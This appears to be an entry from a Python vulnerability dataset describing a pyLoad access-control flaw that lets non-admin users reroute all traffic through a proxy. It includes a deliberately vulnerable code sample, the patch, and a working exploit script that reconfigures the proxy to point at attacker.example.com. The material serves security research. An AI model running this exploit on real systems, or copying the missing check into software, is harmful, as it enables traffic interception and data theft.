CVE-2026-42313
pyLoad allows authenticated users to redirect all traffic via a proxy.
- CVSS 8.3
- CWE-441
- Authentication, Authorization, and Session Management
- Remote
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.
- CWE
- CWE-441
- CVSS base score
- 8.3
- Published
- 2026-05-11
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- pyLoad
- Fixed by upgrading
- Yes
Solution
Upgrade to pyLoad version 0.5.0b3.dev100 or later.
Vulnerable code sample
import collections
# Simplified representation of user permissions
class Perms:
SETTINGS = "SETTINGS"
ADMIN = "ADMIN"
# Simplified representation of a user
User = collections.namedtuple('User', ['username', 'is_admin', 'permissions'])
# Simplified representation of the application's configuration
config = {
"proxy": {
"enabled": False,
"host": "localhost",
"port": 8080,
"type": "http",
"username": "user",
"password": "password"
}
}
# The hand-maintained allowlist that is missing crucial options
ADMIN_ONLY_CORE_OPTIONS = [
("proxy", "username"),
("proxy", "password"),
]
def set_config_value(user, section, option, value):
"""
Vulnerable API method to set a configuration value.
A non-admin user with SETTINGS permission can change sensitive
proxy settings that are not in the ADMIN_ONLY_CORE_OPTIONS list.
"""
if Perms.SETTINGS not in user.permissions:
raise PermissionError("User does not have SETTINGS permission.")
# Check if the option requires admin privileges
if (section, option) in ADMIN_ONLY_CORE_OPTIONS:
if not user.is_admin:
raise PermissionError(
f"Changing '{section}.{option}' requires admin privileges."
)
# VULNERABILITY:
# No admin check is performed for other sensitive options like ("proxy", "enabled"),
# ("proxy", "host"), or ("proxy", "port"), allowing any user with
# SETTINGS permission to re-route all application traffic.
if section in config and option in config[section]:
config[section][option] = value
print(
f"Successfully set '{section}.{option}' to '{value}' for user '{user.username}'."
)
else:
raise ValueError("Invalid configuration option.")Patched code sample
# The following code represents the fix by including the previously missing proxy
# configuration options in the ADMIN_ONLY_CORE_OPTIONS allowlist. This ensures
# that only users with administrative privileges can modify these sensitive settings.
ADMIN_ONLY_CORE_OPTIONS = {
("download", "folder"),
("download", "folder_name"),
("log", "file"),
("log", "folder"),
("proxy", "enabled"), # FIX: Added
("proxy", "host"), # FIX: Added
("proxy", "password"),
("proxy", "port"), # FIX: Added
("proxy", "type"), # FIX: Added
("proxy", "username"),
("ssl", "cacert"),
("ssl", "cert"),
("ssl", "key"),
}Payload
import requests
import json
# --- Target and Attacker Configuration ---
PYLOAD_API_URL = "http://localhost:8000/api/"
PYLOAD_USER = "user" # Authenticated user with 'SETTINGS' permission
PYLOAD_PASS = "password"
ATTACKER_HOST = "attacker.example.com"
ATTACKER_PORT = 8080
# -----------------------------------------
session = requests.Session()
# Authenticate to the pyLoad API
login_response = session.post(
f"{PYLOAD_API_URL}login",
json={"username": PYLOAD_USER, "password": PYLOAD_PASS}
)
login_response.raise_for_status()
# Vulnerable settings to reconfigure the proxy
exploit_settings = {
"type": "http",
"host": ATTACKER_HOST,
"port": ATTACKER_PORT,
"enabled": True,
}
# Sequentially call the 'set_config_value' method for each unprotected setting
for option, value in exploit_settings.items():
payload = {
"method": "set_config_value",
"params": ["proxy", option, value]
}
response = session.post(f"{PYLOAD_API_URL}call", json=payload)
response.raise_for_status()
Cite this entry
@misc{vaitp:cve202642313,
title = {{pyLoad allows authenticated users to redirect all traffic via a proxy.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-42313},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42313/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
